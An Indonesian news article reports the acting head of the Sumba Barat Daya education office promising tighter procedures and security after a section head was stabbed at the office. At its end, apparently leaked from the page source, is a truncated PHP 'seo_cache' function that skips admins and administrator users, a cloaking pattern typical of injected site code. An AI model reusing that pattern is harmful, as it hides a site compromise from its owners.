Pendidikan

Usai Insiden Tragis Plt Kadis P dan K Kabupaten SBD Tegaskan untuk Evaluasi SOP terkait Urusan Dinas

×

Usai Insiden Tragis Plt Kadis P dan K Kabupaten SBD Tegaskan untuk Evaluasi SOP terkait Urusan Dinas

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Pihak Dinas P dan K Kabupaten SBD akan mengevaluasi Standar Operasional Prosedur (SOP) terkait urusan dinas di Instansi itu.

Hal itu disampaikan Plt Kepala Dinas P dan K Kabupaten SBD, Agustinus Baiyo Tanggu, S.Pi, Senin (16/06/2025).

Ia menegaskan, pelayanan urusan dinas akan ditertibkan dengan penerapan sistem sekuriti.

Dikatakan Agustinus , saat kejadian dirinya sedang berada di ruang tunggu bupati sehingga tidak mengikuti persis kejadian tragis itu.

Namun demikian, pihakya akan mengambil langkah tegas dalam upaya perbaikan layanan untuk menghindari berbagai kemungkinan yang tidak diinginkan.

“Karena memang kami tidak pungkiri bahwa setiap hari pelayanan cukup padat dan kita tidak tahu siapa yang datang,” akunya.

“Akan ada SOP agar orang yang datang berurusan di dinas memang betul-betul untuk tujuan itu, tidak menyelipkan maksud lain,” tegasnya.

Sebagai pimpinan dinas, ia juga meminta semua pihak yang berurusan dengan TK, PAUD, SD, dan SMP agar menyampaikan data valid dan faktual.

Menurutnya permintaan data hendaknya disampaikan sesuai dengan persyaratan.

“Tentu tidak ada hal yang kami minta di luar dari ketentuan yang ada,” timpalnya.

Oleh sebab itu, dirinya berharap ada bantuan dari pihak sekolah, terutama operator yang menangani administrasi dan data.

Bagi seluruh TK/PAUD, SD, dan SMP yang ada diminta agar tidak terjadi lagi persoalan data invalid.

“Agar tidak ada lagi trauma rekan-rekan di dinas dalam hal membantu proses pelayanan,” tandasnya.

Pada bagian akhir penegasannya, Agustinus mengingatkan agar tidak ada lagi yang membawa senjata tajam saat urusan dinas di kantor tersebut.

“Kami mohon kerja sama yang baik agar pelayanan bisa berjalan sebagaimana mesti,” sambungnya lagi.

Penikaman terhadap kepala seksi yang secara teknis menangani urusan sekolah dasar akan berimbas pada layanan kepada setiap SD.

“Dengan kejadian seperti ini maka kita akan pending sejumlah kegiatan pada seksi yang ditangani Pak Alo sambil menunggu perkembangan kesehatannya,” sebut Agustinus lebih lanjut.

Terkait penanganan medis korban, pihak dinas mempercayakan sepenuhnya hal itu kepada tim dokter RSUD Reda Bolo.

“Kita berharap cepat sembuh dan kembali bertugas seperti biasa,” ujarnya.

Sementara untuk pelaku pihaknya juga menyerahkan sepenuhnya kepada aparat penegak hukum.

Sebagai salah satu OPD dengan intensitas pelayanan publik yang tinggi sistem sekuriti pada dinas itu akan diperketat.

“Minimal kita tempatkan anggota Satpol PP agar tidak ada lagi yang bawa senjata tajam atau bertindak anarkis,” pungkasnya. ( JIP/MS ) .

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>